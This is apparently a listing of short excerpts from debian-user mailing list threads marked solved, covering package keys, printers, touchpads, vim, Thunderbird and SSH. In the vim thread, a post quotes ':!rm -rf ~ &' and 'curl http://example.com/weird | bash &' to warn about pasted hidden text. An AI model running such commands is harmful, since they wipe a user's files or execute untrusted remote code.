Re: [SOLVED] Re: How add key of 3rd party repo?

Hi David, this is a very good and value hint! What you are telling is very reasonable and makes fully sense. Yes, in the past I olayed aroud mith umask, and it can really happen, that I messed up things by doing so. I will recheck my settings and if there are any missettings, of course correc

Re: [SOLVED] Re: How add key of 3rd party repo?

Am Sonntag, 22. September 2024, 19:05:35 CEST schrieb Charles Curley: > When you do these things, *exactly* what results do you get? Copy and > paste the entire command line, including the prompt, the results, and > the next command line prompt. [ … ] On Sun 22 Sep 2024 at 20:01:02 (+0200), Hans

[SOLVED] Re: How add key of 3rd party repo?

> > curl -fsSL https://download.jitsi.org/jitsi-key.gpg.key | gpg -o > > /usr/share/keyrings/jitsy-key.gpg --dearmor > > No error messages! > > I notice that this is not the same filename as the one in the quote > further above. The original had 'jitsi-keyring.gpg', and this one has > 'jitsy-key.g

(SOLVED PARTIALLY) Re: Cups problems adding printer Epson in new Debian install

I want to thank Joe B for the suggestion to also install the printer-driver-escpr pkg, and David Wright to whom I want to say that Epson Connect is the app for Smartphones Android that I have used to print in the last few days by transferring files from the PC to the Smartphone. As for Thorsten

Re: [SOLVED] Re: Virtual machine - booting from USB?

Le 21/08/2024 à 18:30, Hans a écrit : [...] Well, now as I know, that qemu is working, I will check if I can use also the commandline with qemu. Should be possible! [...] That, too, is explained in the link I indicated previously, ("3. Boot From the Command Line"): https://www.baeldung.com/linu

[SOLVED] Re: Virtual machine - booting from USB?

l, now as I know, that qemu is working, I will check if I can use also the commandline with qemu. Should be possible! As virtual-manager is not always available or installed (i.e. Windows or MacOS), a batch file on an USB-stick starting qemu will do it. For now I can say: Problem solved and

Re: [SOLVED] Re: Acer Aspire 5 A515-45 touchpad suddenly stopped working on debian 12.5

> David Wright : > To answer the question in the rant, "why the f* does this button > exist": for the same reason that some people set a touchpad timeout > each time a key is struck, to prevent the cursor careering around the > screen when typing, thanks to the ball of the thumb rubbing the to

Re: [SOLVED] Re: Acer Aspire 5 A515-45 touchpad suddenly stopped working on debian 12.5

> Keith Bainbridge : > Have you considered changing the bios so that the Fn keys need the Fn > key to alter the screen and touchpad and for that matter sound > settings etc accidently. It means the Fn keys will also function what > was considered normally for decades. Can't say I have... cons

Re: chromium launch fails -- solved

On Fri, Aug 16, 2024 at 06:36:52AM +, Russell L. Harris wrote: On a fresh installation of Debian 12 on a Dell inspiron, chromium [127.0.6533.99-1~deb12u1] fails to launch. libva error: /usr/lib/x86_64-linux-gnu/dri/iHD_drv_video.so init failed The same version of chromium is working proper

Re: [SOLVED] potential bug? - was Re: Problem with cryptsetup-initramfs

On 2024-07-29, Thomas Schmitt wrote: > https://www.debian.org/Bugs/Reporting > "Sending the bug report via e-mail" > (about 30 lines down the page) > "An Example Bug Report" > (another 30 lines down the page) Still the first and recommended way is to use the package reportbug which do a

Re: [SOLVED] potential bug? - was Re: Problem with cryptsetup-initramfs

Hi, Ian Molton wrote: > Perhaps someone can help me with the bug tracker? If i have to submit a bug, then i use the e-mail way. See: https://www.debian.org/Bugs/Reporting "Sending the bug report via e-mail" (about 30 lines down the page) "An Example Bug Report" (another 30 lines down t

Re: [SOLVED] potential bug? - was Re: Problem with cryptsetup-initramfs

On 2024-07-28, Ian Molton wrote: > Perhaps someone can help me with the bug tracker? Install the package reportbug. It's as easy as writing a mail.

Re: [SOLVED] potential bug? - was Re: Problem with cryptsetup-initramfs

Hi, Thanks for your reply, I'm afraid I've always found the bug tracker a very inaccessible thing. Despite having a decent amount of technical knowledge,  I find it daunting, and a jarring thing to cope with mentally. This is why i come to the mailing lists to seek help, but as you note, de

Re: [SOLVED] potential bug? - was Re: Problem with cryptsetup-initramfs

On Fri Jul 26, 2024 at 10:47 AM BST, Nicolas George wrote: > Now maybe you fix your MUA configuration to not omit “Re: ”. What would that achieve? -- Please do not CC me for listmail. 👱🏻 Jonathan Dowland ✎j...@debian.org 🔗 https://jmtd.net

Re: [SOLVED] potential bug? - was Re: Problem with cryptsetup-initramfs

I'm glad you've solved your issue. I read your original (very detailed) mail and I had nothing to contribute with respect to a fix; but I was interested to follow it, as I rely upon remote decryption of the root filesystem myself. >From what you write, I think you are correct that s

Re: [SOLVED] potential bug? - was Re: Problem with cryptsetup-initramfs

Hi, On Fri, Jul 26, 2024 at 10:35:03AM +0100, Ian Molton wrote: > Should this be reported somewhere else? Any devs reading this? Yes, if you think there is a bug it should be reported in bugs.debian.org. The "reportbug" program may help. This mailing list is mostly for user support by other user

Oh "lashing back" [was: [SOLVED] potential bug?]

On Fri, Jul 26, 2024 at 11:05:45PM +0100, Ian Molton wrote: > Really helpful. Thanks for that. C'm on Ian. On another post you complained about the community falling to pieces. There are many causes for it. This is one. I know -- the poster you're replying to can be very caustic (sometimes, in m

Re: [SOLVED] potential bug? - was Re: Problem with cryptsetup-initramfs

Really helpful. Thanks for that. Really makes one feel part of the community.

Re: [SOLVED] potential bug? - was Re: Problem with cryptsetup-initramfs

Ian Molton (12024-07-26): > Now what? Now maybe you fix your MUA configuration to not omit “Re: ”. Regards, -- Nicolas George

[SOLVED] potential bug? - was Re: Problem with cryptsetup-initramfs

Now what? Should this be reported somewhere else? Any devs reading this?

SOLVED: Re: How to configure CUPS printer software on a machine with no GUI -- only text CLI console.

On Wed, Jul 24, 2024, at 3:09 AM, Rick Thomas wrote: > What's the best way to install (and configure) the CUPS printer > software on a machine that doesn't have any GUI software? > > Specifically, the Marvell OpenRD machines that I have ("client" and > "ultimate") only have 500 MB of RAM. So

[SOLVED] potential bug? - was Re: Problem with cryptsetup-initramfs

Hi all, I have solved the boot issue. I got physical access to the machine, and connected a monitor and keyboard to it. As usual, it booted the initramfs, and started dropbear, but this time, I entered the disk key on the keyboard. The machine attempted to boot, but failed, dropping back

Re: [Solved] vim on Debian 12: How to disable the mouse GUI mode ?

On 23/07/2024 19:07, Thomas Schmitt wrote: Max Nikulin wrote: Some ideas: :help :make :help clientserver I think these two lean a little too much towards the ":!rm -rf" side. It was in the context of jumping to compiler error. You can start build from vim or load a log file and us

Re: [Solved] vim on Debian 12: How to disable the mouse GUI mode ?

On Tue, Jul 23, 2024 at 14:07:04 +0200, Thomas Schmitt wrote: > Is there a Debian apt-fu which lets me replace "vi" by "rvim" and "view" > by "rview" ? (So that this PEBKAC cannot fall back to old habits ?) update-alternatives, or just set up some personal shell aliases.

Re: [Solved] vim on Debian 12: How to disable the mouse GUI mode ?

Hi, Max Nikulin wrote: > I mean something like ":!rm -rf ~ &" or "curl http://example.com/weird | > bash &" after a newline. Although this attack vector does not match my copy+paste habits, i shall think about replacing my use of vim by rvim. man vim says: rvim rview rgvim rgview Like the

Re: [Solved] Re: vim on Debian 12: How to disable the mouse GUI mode ?

On 23/07/2024 14:57, Thomas Schmitt wrote: Max Nikulin wrote: I would consider some convenient key mapping that should be executed before pasting line number instead of disabling bracketed paste completely. There is a chance to paste something weird with hidden text from a web page or from a HTM

[Solved] Re: vim on Debian 12: How to disable the mouse GUI mode ?

Hi, Max Nikulin wrote: > I would consider some convenient key mapping that should be executed before > pasting line number instead of disabling bracketed paste completely. There > is a chance to paste something weird with hidden text from a web page or > from a HTML mail message. I am not sure wh

[Solved] Re: fvwm on Debian 12: Modules do not start. How to debug ?

Hi, i wrote: > > Four of five fingers point to me and my ~/.fvwm2rc": > > ModulePath /usr/lib/fvwm/2.6.8 Greg Wooledge wrote: > Why do you even have that line at all? Cargo cult. Once it was needed, then i carried it on, and finally i forgot about it. The reason why i did not notice two years

Re: [Solved] Re: vim on Debian 12: How to disable the mouse GUI mode ?

On 23/07/2024 00:40, Thomas Schmitt wrote: Greg Wooledge wrote: https://vi.stackexchange.com/questions/18001/why-cant-i-paste-commands-into-vi Apparently when in an "xterm environment" (whatever that means; apparently it includes rxvt-unicode), turning on bracketed paste mode works: :set t

[Solved] Re: vim on Debian 12: How to disable the mouse GUI mode ?

Hi, Greg Wooledge wrote: > I found a fix: > https://vi.stackexchange.com/questions/18001/why-cant-i-paste-commands-into-vi > Apparently when in an "xterm environment" (whatever that means; apparently > it includes rxvt-unicode), turning on bracketed paste mode works: > > :set t_BE= > > The = i

Re: [SOLVED] Re: Creating PDF/A from LaTeX source and from existing PDF

On 10/07/2024 15:37, Ceppo wrote: but I couldn't build a working gs command. [...] [1]: https://github.com/qpdf/qpdf/issues/85 There is a link to gs arguments

[SOLVED] Re: Creating PDF/A from LaTeX source and from existing PDF

On Mon, Jul 08, 2024 at 05:20:57PM GMT, Jeffrey Walton wrote: > The pdf-linter I use to verify a pdf document is qpdf, > . It is available on most distributions, > including Debian, Fedora and Red Hat. > > The command to check the document is `qpdf --check `. This com

Re: [SOLVED] Re: Acer Aspire 5 A515-45 touchpad suddenly stopped working on debian 12.5

On Sun, 7 Jul 2024, at 01:56, David Wright wrote: > To answer the question in the rant, "why the f* does this button > exist"... A more fundamental issue can be that some machines have an option in the BIOS that dictates whether keys (mostly but not exclusively the F1-F12 ones) which have alter

Re: [SOLVED] Re: Acer Aspire 5 A515-45 touchpad suddenly stopped working on debian 12.5

On 6/7/24 16:39, Steinar Bang wrote: Steinar Bang : Sometime (a day or so maybe) before <2024-06-26 Wed 19:59> the touchpad stopped working on my Acer Aspire 5 with a MATE desktop on debian 12.5. At the time the laptop had gone 50 days since the last reboot so I figured something had gone

Re: [SOLVED] Re: Acer Aspire 5 A515-45 touchpad suddenly stopped working on debian 12.5

On Sat 06 Jul 2024 at 08:39:57 (+0200), Steinar Bang wrote: > > Steinar Bang : > > > Sometime (a day or so maybe) before <2024-06-26 Wed 19:59> the touchpad > > stopped working on my Acer Aspire 5 with a MATE desktop on debian 12.5. > > > At the time the laptop had gone 50 days since the last

[SOLVED] Re: Acer Aspire 5 A515-45 touchpad suddenly stopped working on debian 12.5

> Steinar Bang : > Sometime (a day or so maybe) before <2024-06-26 Wed 19:59> the touchpad > stopped working on my Acer Aspire 5 with a MATE desktop on debian 12.5. > At the time the laptop had gone 50 days since the last reboot so I > figured something had gone wrong during the time and a re

[SOLVED] Re: Results of Testmail_1-3

the debian list and nowhere else, I tested here. fourth: As this issue seem only affect me, I suggest to close this discussion, because it creates a lot of unnecessary traffic. So I set this to "solved" and won't ask further more. Thank you everyone, for your patience and y

[SOLVED] Re: This is a testmail!

Am Donnerstag, 4. Juli 2024, 13:58:07 CEST schrieb Hans: Answering myself: At the moment everything is looking fine. Maybe after the big issue yesterday, the mail admins somewhere in the world have fixed the problem? Dunno. Whatever, strange. I will watch this in the future. Let's close

[Solved] Re: Cannot execute any container using podman run

eanup --exit-command-arg --rm --exit-command-arg 6f126044b414b2ded703c7f1036f580e52a14833d97298d9326f6354f3832336]" conmon: option parsing failed: Unknown option --full-attach ~~~ I solved the issue by executing the following commands: 1. sudo apt purge conmon podman 2. sudo apt install conmon

Re: Modifying Desktop Icons [Solved]

On 23/06/2024 03:16, Pranjal Singh wrote: although not having your data out there is better IMHO Notice that firefox has "Always use private browsing mode" setting exposed to UI.

Re: Modifying Desktop Icons [Solved]

Hi Gareth, I have solved it. The solution: *drumroll* Switch from Ubuntu to Bookworm. On 22/06/24 15:33, Gareth Evans wrote: [...] There is no "[-]-private" option according to the grep I performed, and [-]-private produces a non-private window when run here from the command line

Re: Bookworm: IBM DSD3300 iSCSI connection problem [solved]

On 6/17/24 11:04, Timothy M Butterworth wrote: On Sun, Jun 16, 2024 at 3:41 PM Greg > wrote: Hi there, I'm trying to mount iscsi share exported from old IBM DS3300. Unfortunately I get the following error: ping timeout of 5 secs expired, recv timeout 5,

Re: Copy from xterm to text editor........ [solved]

On Thu, 13 Jun 2024, Greg Wooledge wrote: > On Thu, Jun 13, 2024 at 03:42:27PM +1000, Charlie wrote: >> For completeness. Had tried right and left at same time on touchpad of >> laptop. As it worked years ago. > > Pressing left+right buttons simultaneously was indeed one of the hacks > that people

Re: Copy from xterm to text editor........ [solved]

On 13/06/2024 12:42, Charlie wrote: Didn't think the touchpad had a middle button. Don't know why? Middle click can be configured for touchpads as 2 or 3 fingers tap or as simultaneous press on both hardware buttons (if they exist), see the libinput(4) man page and https://wayland.freedeskto

Re: Copy from xterm to text editor........ [solved]

Excúseme i don’t know the xterm behavior.. El El jue, 13 jun 2024 a las 13:28, Greg Wooledge escribió: > On Thu, Jun 13, 2024 at 03:42:27PM +1000, Charlie wrote: > > For completeness. Had tried right and left at same time on touchpad of > > laptop. As it worked years ago. > > Pressing left+right

Re: Copy from xterm to text editor........ [solved]

On Thursday, 13 June 2024 07:27:47 -04 Greg Wooledge wrote: > On Thu, Jun 13, 2024 at 03:42:27PM +1000, Charlie wrote: > > For completeness. Had tried right and left at same time on touchpad > > of laptop. As it worked years ago. > > Pressing left+right buttons simultaneously was indeed one of the

Re: Copy from xterm to text editor........ [solved]

On Thu, Jun 13, 2024 at 03:42:27PM +1000, Charlie wrote: > For completeness. Had tried right and left at same time on touchpad of > laptop. As it worked years ago. Pressing left+right buttons simultaneously was indeed one of the hacks that people used to mimic the middle button in some X11 setups.

Re: Copy from xterm to text editor........ [solved]

Just a note Some terminal emulators don't automatically copy highlighted text. You need to copy it manually before moving to the target file It's so long since I've tolerated such terminals I'm not sure but try ctrl-alt-c Else, right click with the mouse pointer outside of highlighted text a

Re: Copy from xterm to text editor........ [solved]

On Wed, 12 Jun 2024 22:56:34 -0400 Greg Wooledge wrote: > On Thu, Jun 13, 2024 at 12:16:00PM +1000, Charlie wrote: > > Cannot recall what version of Debian stopped copying text in xterm > > by Ctrl + C or Shift + Ctrl + C So don't know how to copy from > > xterm > > xterm is a terminal emulator

Re: [SOLVED] Re: Debian bookworm fails to install

Hi Hans! On Sat, Jun 08, 2024 at 11:43:38AM +0200, Hans wrote: > Hello! > > For those, who are interested in my discovering with bootcd, I attached a > screenshot of the > message, the installer told and why grub can not be installed. It might > explain more. > You might want to try OFTC IRC

[SOLVED] Re: Debian bookworm fails to install

Hello! For those, who are interested in my discovering with bootcd, I attached a screenshot of the message, the installer told and why grub can not be installed. It might explain more. However, I suppose, there are not many people in the world, building a live-system + installer + bootcd on i

Re: [SOLVED] Re: Debian bookworm fails to install

On Sat, 8 Jun 2024 11:45:49 +0700 Max Nikulin wrote: Hello Max, >On 08/06/2024 00:48, Hans wrote: >> BUT - grub-efi-amd64-bin conflicts with grub-efi-amd64-bin-signed >No it does not. I have both installed. I think, the latter needs .mod The pedant in me would point out that actually, no, yo

Re: [SOLVED] Re: Debian bookworm fails to install

On 08/06/2024 00:48, Hans wrote: BUT - grub-efi-amd64-bin conflicts with grub-efi-amd64-bin-signed No it does not. I have both installed. I think, the latter needs .mod files provided by the former.

Re: [SOLVED] Re: Debian bookworm fails to install

On Fri, Jun 7, 2024 at 1:48 PM Hans wrote: > > Got it! Found the reason and a fix for it. > > Just not easy to find. It is an dependency-problem! > > What happened? > > Well, in ~config/mylist.list.chroot I added the package "bootcd", which shoul > exist in my live-system. During build this made

Re: [SOLVED] Re: Debian bookworm fails to install

Looks like a typo from me. apt-cache search grub-efi-amd | grep signed grub-efi-amd64-signed - GRand Unified Bootloader, version 2 (amd64 UEFI signed by Debian) grub-efi-amd64-signed-template - GRand Unified Bootloader, Version 2 (Signaturvorlage für EFI-AMD64) It is grub-efi-amd64-signed.

Re: [SOLVED] Re: Debian bookworm fails to install

On Fri 07 Jun 2024 at 19:48:21 (+0200), Hans wrote: > Got it! Found the reason and a fix for it. > Just not easy to find. It is an dependency-problem! > > What happened? > > Well, in ~config/mylist.list.chroot I added the package "bootcd", which shoul > exist in my live- > system. During build t

[SOLVED] Re: Debian bookworm fails to install

Got it! Found the reason and a fix for it. Just not easy to find. It is an dependency-problem! What happened? Well, in ~config/mylist.list.chroot I added the package "bootcd", which shoul exist in my live- system. During build this made no problems and all dependencies are ok. But - during inst

Re: [ SOLVED] Re: Yet ANOTHER ThunderTurd ( Thunderbird ) topic... Text Size

On 2024-06-03, Chris M wrote: > > Thunderbird is the name of a cheap wine? > A mutt is a mongrel dog, if that adds anything to the conversation.

Re: [solved] testing MATE upgrade broke panels, downgrading fixed it

songbird wrote: > > as an FYI, last night this wasn't a good idea: > > The following packages will be upgraded: >gir1.2-matepanelapplet-4.0 (1.27.1-2+b2 => 1.27.1-3) >libmate-panel-applet-4-1 (1.27.1-2+b2 => 1.27.1-3) >libmate-panel-applet-dev (1.27.1-2+b2 => 1.27.1-3) >mate-panel

Re: WAS: [ SOLVED] Re: Yet ANOTHER ThunderTurd ( Thunderbird ).. NOW~~The dangers of .mbox mail clients?

On Mon 03 Jun 2024 at 14:08:46 (-0500), Chris M wrote: > I am needing a "refresher course" on mail clients that use the .mbox > format to store emails. > It's been years since I've used this kind of mail client. > > Is there any "dangers" I need to know about? Like, keeping the mailbox > a certain

Re: [ SOLVED] Re: Yet ANOTHER ThunderTurd ( Thunderbird ) topic... Text Size

On Mon, 3 Jun 2024 15:25:12 -0400 e...@gmx.us wrote: > The USAF Thunderbirds predate Gallo Thunderbird by at least a year. > They were founded in 1953, and the law allowing Gallo Thunderbird's > creation wasn't passed until the next year. The wine was certainly > out by 1957. The Ford Thunderbir

Re: [ SOLVED] Re: Yet ANOTHER ThunderTurd ( Thunderbird ) topic... Text Size

On Tue, Jun 04, 2024 at 03:45:11AM +0800, Bret Busby wrote: > On 4/6/24 03:25, e...@gmx.us wrote: > > On 6/3/24 12:10, James H. H. Lampert wrote: > > > (who still hasn't figured out why Ford named a car, and the Air > > > Force named > > > its demonstration team, after that same cheap wine) > > >

Re: [ SOLVED] Re: Yet ANOTHER ThunderTurd ( Thunderbird ) topic... Text Size

On 4/6/24 04:30, e...@gmx.us wrote: On 6/3/24 15:45, Bret Busby wrote: On 4/6/24 03:25, e...@gmx.us wrote: On 6/3/24 12:10, James H. H. Lampert wrote: (who still hasn't figured out why Ford named a car, and the Air Force named its demonstration team, after that same cheap wine) The USAF Thun

Re: [ SOLVED] Re: Yet ANOTHER ThunderTurd ( Thunderbird ) topic... Text Size

debian-u...@howorth.org.uk wrote: Chris M wrote: I love Evolution and Claws to a point. Its a PITA to forward emails with HTML in them, like the Informed Delivery email I get each morning letting us know whats coming in the USPS that day. Claws forwards mails with a text/html part just fine. W

Re: [ SOLVED] Re: Yet ANOTHER ThunderTurd ( Thunderbird ) topic... Text Size

On 6/3/24 15:45, Bret Busby wrote: On 4/6/24 03:25, e...@gmx.us wrote: On 6/3/24 12:10, James H. H. Lampert wrote: (who still hasn't figured out why Ford named a car, and the Air Force named its demonstration team, after that same cheap wine) The USAF Thunderbirds predate Gallo Thunderbird by

Re: [ SOLVED] Re: Yet ANOTHER ThunderTurd ( Thunderbird ) topic... Text Size

Chris M wrote: > I love Evolution and Claws to a point. Its a PITA to forward emails > with HTML in them, like the Informed Delivery email I get each morning > letting us know whats coming in the USPS that day. Claws forwards mails with a text/html part just fine. What's your actual problem with

Re: [ SOLVED] Re: Yet ANOTHER ThunderTurd ( Thunderbird ) topic... Text Size

On 4/6/24 03:25, e...@gmx.us wrote: On 6/3/24 12:10, James H. H. Lampert wrote: (who still hasn't figured out why Ford named a car, and the Air Force named its demonstration team, after that same cheap wine) The USAF Thunderbirds predate Gallo Thunderbird by at least a year.  They were founde

Re: [ SOLVED] Re: Yet ANOTHER ThunderTurd ( Thunderbird ) topic... Text Size

On 6/3/24 12:10, James H. H. Lampert wrote: (who still hasn't figured out why Ford named a car, and the Air Force named its demonstration team, after that same cheap wine) The USAF Thunderbirds predate Gallo Thunderbird by at least a year. They were founded in 1953, and the law allowing Gallo

WAS: [ SOLVED] Re: Yet ANOTHER ThunderTurd ( Thunderbird ).. NOW~~The dangers of .mbox mail clients?

I am needing a "refresher course" on mail clients that use the .mbox format to store emails. It's been years since I've used this kind of mail client. Is there any "dangers" I need to know about? Like, keeping the mailbox a certain size? or a certain amount of emails per folder etc? The last

Re: [ SOLVED] Re: Yet ANOTHER ThunderTurd ( Thunderbird ) topic... Text Size

James H. H. Lampert wrote: I will say that one should probably not expect perfection from an email reader that's named after a cheap wine. In my experience, T-Bird is the worst email reader I've ever used . . . except for *every other* email reader (without a single exception) I've tried. I'm

Re: [ SOLVED] Re: Yet ANOTHER ThunderTurd ( Thunderbird ) topic... Text Size

Bret Busby wrote: > On 4/6/24 00:10, James H. H. Lampert wrote: > > I will say that one should probably not expect perfection from an email > > reader that's named after a cheap wine. > > > > ? USA-centric reference. See https://en.wikipedia.org/wiki/Flavored_fortified_wine -dsr-

Re: [ SOLVED] Re: Yet ANOTHER ThunderTurd ( Thunderbird ) topic... Text Size

On Mon, Jun 3, 2024 at 2:14 PM Bret Busby wrote: > > On 4/6/24 00:10, James H. H. Lampert wrote: > > I will say that one should probably not expect perfection from an email > > reader that's named after a cheap wine. > > ? Thunderbird wine was extremely inexpensive and 42 proof. In retrospect I'm

Re: [ SOLVED] Re: Yet ANOTHER ThunderTurd ( Thunderbird ) topic... Text Size

On 4/6/24 00:10, James H. H. Lampert wrote: I will say that one should probably not expect perfection from an email reader that's named after a cheap wine. ? Bret Busby Armadale Western Australia (UTC+0800) .

Re: [ SOLVED] Re: Yet ANOTHER ThunderTurd ( Thunderbird ) topic... Text Size

I will say that one should probably not expect perfection from an email reader that's named after a cheap wine. In my experience, T-Bird is the worst email reader I've ever used . . . except for *every other* email reader (without a single exception) I've tried. I'm particularly irritated with

Re: SeaMonkey et al - was - Re: [ SOLVED] Re: Yet ANOTHER ThunderTurd ( Thunderbird ) topic... Text Size

Bret Busby wrote: On 3/6/24 04:14, Chris M wrote: Felix Miata wrote: It might be worth checking what language the emails are in. Thunderbird allows you to specify fonts separately for each writing system (e.g. if you want to specify fonts for Japanese or Greek or Khmer messages, you can do)

Re: [ SOLVED ] Re: Yet ANOTHER ThunderTurd ( Thunderbird ) topic... Text Size

Bret Busby wrote: Hello, Chris. We appear to be 13 hours ahead of you (see my signature), so, the time here, is now about 0430. I am a creature of the night. OH man, 4:30 AM! That's way too early for me! Andika?  Search for it in Synaptic... :) I am not sure whether ap

SeaMonkey et al - was - Re: [ SOLVED] Re: Yet ANOTHER ThunderTurd ( Thunderbird ) topic... Text Size

On 3/6/24 04:14, Chris M wrote: Felix Miata wrote: It might be worth checking what language the emails are in. Thunderbird allows you to specify fonts separately for each writing system (e.g. if you want to specify fonts for Japanese or Greek or Khmer messages, you can do). For English and c

Re: [ SOLVED ] Re: Yet ANOTHER ThunderTurd ( Thunderbird ) topic... Text Size

On 3/6/24 03:56, Chris M wrote: Bret Busby wrote: Whilst, at groups.io, two different Tbird email users lists exist; one for blind people, and, the other, for those of us who still have sufficient sight, and, these messages about Tbird, should, more properly, be directed to the Tbird users l

[ SOLVED] Re: Yet ANOTHER ThunderTurd ( Thunderbird ) topic... Text Size

Felix Miata wrote: It might be worth checking what language the emails are in. Thunderbird allows you to specify fonts separately for each writing system (e.g. if you want to specify fonts for Japanese or Greek or Khmer messages, you can do). For English and comparable languages, you want to

[ SOLVED] Re: Yet ANOTHER ThunderTurd ( Thunderbird ) topic... Text Size

Bret Busby wrote: For Language Choose the languages used to display menus, messages, and notifications from Thunderbird. I have set English (GB) which, I expect, will confound anything that tries to impose characters that are not what I want. Bret Busby Armadale Western Australia (UT

[ SOLVED ] Re: Yet ANOTHER ThunderTurd ( Thunderbird ) topic... Text Size

Darac Marjal wrote: It might be worth checking what language the emails are in. Thunderbird allows you to specify fonts separately for each writing system (e.g. if you want to specify fonts for Japanese or Greek or Khmer messages, you can do). For English and comparable languages, you want to

[ SOLVED ] Re: Yet ANOTHER ThunderTurd ( Thunderbird ) topic... Text Size

Bret Busby wrote: Whilst, at groups.io, two different Tbird email users lists exist; one for blind people, and, the other, for those of us who still have sufficient sight, and, these messages about Tbird, should, more properly, be directed to the Tbird users lists, try the following. In the

[ SOLVED ] Re: Yet ANOTHER ThunderTurd ( Thunderbird ) topic... Text Size

UPDATE: I might of found a solution to my problem: I somehow stumbled across: https://addons.thunderbird.net/en-US/seamonkey/addon/no-small-text/?src=search Then launched Seamonkey browser and set the " NO SMALL TEXT" settings to: https://imgur.com/a/DvJaTeG If you're in the US scroll down

Re: [solved] Re: No login with Debian 12 ssh client, ssh-rsa key, Debian 8 sshd

Just to compare, when Red Hat released 9.0 maybe 2 years ago (9.2 is current until 30 June) they disabled by default many older key-lengths and algorithms in SSL that were known to be weak. This caused issues for existing installations. You could either re-enable the weaker methods (easy but a pain

Re: [Solved]: What DE to replace GNOME with?

DdB wrote: ... > But i cannot endorse on bookworm without finding alternatives viable to > my handicap. Does that mean, i am back to square one? > Currently, i am 6 years behind (still on debian 10), because i was not > willing to lose functionality i am used to. BTW: the GNOME team did that > to m

Re: [solved] Re: No login with Debian 12 ssh client, ssh-rsa key, Debian 8 sshd

On 01/06/2024 16:42, Thomas Schmitt wrote: debug1: Remote protocol version 2.0, remote software version OpenSSH_6.7p1 Debian-5 (I wonder what the string "Debian-5" may mean. The Debian 12 machine has debug1: Local version string SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u2 So "-5" is not the

Re: [Solved]: What DE to replace GNOME with?

DdB wrote: > Am 01.06.2024 um 11:02 schrieb Andrew M.A. Cater: > > You would need to go from buster - bullseye to bookworm anyway. > > > > Read the Release Notes for Bullseye to pick up on any changes. > > > > Do note also that Bookworm is currently supported: Bullseye security > > support ends

Re: [Solved]: What DE to replace GNOME with?

On Sat, 1 Jun 2024 11:47:59 +0200 DdB wrote: Hello DdB, >BTW: the GNOME team did that to me repeatedly In fairness, it's not just Gnome that erodes features. TBH, they *all* do it. I've seen features removed from Plasma, Claws Mail, Tellico, loads of stuff. Worst of all is when the removal g

Re: [Solved]: What DE to replace GNOME with?

Am 01.06.2024 um 11:02 schrieb Andrew M.A. Cater: > You would need to go from buster - bullseye to bookworm anyway. > > Read the Release Notes for Bullseye to pick up on any changes. > > Do note also that Bookworm is currently supported: Bullseye security > support ends round July 31st this year

[solved] Re: No login with Debian 12 ssh client, ssh-rsa key, Debian 8 sshd

Hi, Jeffrey Walton wrote: > If I am not mistaken, the problem you are experiencing is due to using > RSA/SHA-1 on the old machine. Max Nikulin wrote: > My reading of /usr/share/doc/openssh-client/NEWS.Debian.gz is that ssh-rsa > means SHA1 while clients offers SHA256 for the same id_rsa key. Ind

Re: [Solved]: What DE to replace GNOME with?

On Sat, Jun 01, 2024 at 08:52:14AM +0200, DdB wrote: > Am 31.05.2024 um 12:57 schrieb DdB: > > Hello, > > > > > > Now is the time to plan ahead for years to come and i don't know, what i > > should do. > > > > DdB > > Thanks for all your input. > In the meantime, i did check for the specific gn

[Solved]: What DE to replace GNOME with?

Am 31.05.2024 um 12:57 schrieb DdB: > Hello, > > while being on old-old-stable still (buster) and preparing for an > upgrade to bookworm, i noticed, that GNOME once again lost compatibility > to my preferred extensions, giving me a hard choice to either go on with > my outdated system as long as p

[solved] Re: No login with Debian 12 ssh client, ssh-rsa key, Debian 8 sshd

Hi, the following line in ~/.ssh/config did the trick: PubkeyAcceptedAlgorithms +ssh-rsa This lets ssh -v report: debug1: Offering public key: /home/.../.ssh/id_rsa RSA SHA256:... debug1: Server accepts key: /home/.../.ssh/id_rsa RSA SHA256:... Authenticated to ... ([...]:22) using "pub

Re: no more sound after upgrade (trixie/sid) [SOLVED]

In the end, the problem had nothing to do with APT pinning, mixing Debian flavors, nor anything else mentioned in the previous messages. I've just noticed that in my XFCE mixer there is a tab "Configuration", where you can set the audio profile. I don't even know what an audio profile is suppo

[SOLVED] Re: speaker-test: no correct sound output on LFE and others speakers

her usual issues with surrount digital out but this is not your setup. You can have a look at [1] for software fixes on this. [1] https://alsa.opensrc.org/SurroundSound I solved by buying a Toslink (S/PDIF) optical cable, and using thus the "Surround 5.1 Digital output" and unplu

Re: [SOLVED] Trouble/bug with initramfs-tools adding encrypted swap partition

On Wed Apr 24, 2024 at 1:50 PM BST, Richard wrote: > upon gathering my thoughts for answering to you I found the solution to > this: update-initramfs can't handle the case that crypttab ends in the line > of the last entry and not in a new line character. I think there either > should be a fix for

Re: [SOLVED] Trouble/bug with initramfs-tools adding encrypted swap partition

On 26/04/2024 12:56, David Wright wrote: On Fri 26 Apr 2024 at 11:27:24 (+0900), John Crawley wrote: Innocent question: what difference does the comment make vs just ending the file with an empty line? Nothing for the computer, but visibility for me. Say you print the file on paper. All you

Last line [was: Re: [SOLVED] Trouble/bug with initramfs-tools adding encrypted swap partition]

On 26/04/2024 10:56, David Wright wrote: Editor examples: a windowed emacs buffer has a ≣ decoration at the extreme left edge after the last line of text, so that you can distinguish an absence of lines from empty lines. Perhaps that decoration should be explicitly enabled. However it reminded

Re: [SOLVED] Trouble/bug with initramfs-tools adding encrypted swap partition

On Fri 26 Apr 2024 at 11:27:24 (+0900), John Crawley wrote: > On 24/04/2024 22:37, David Wright wrote: > > On Wed 24 Apr 2024 at 14:50:36 (+0200), Richard wrote: > > > upon gathering my thoughts for answering to you I found the solution to > > > this: update-initramfs can't handle the case that cry

Re: [SOLVED] Trouble/bug with initramfs-tools adding encrypted swap partition

On 24/04/2024 22:37, David Wright wrote: On Wed 24 Apr 2024 at 14:50:36 (+0200), Richard wrote: upon gathering my thoughts for answering to you I found the solution to this: update-initramfs can't handle the case that crypttab ends in the line of the last entry and not in a new line character. I

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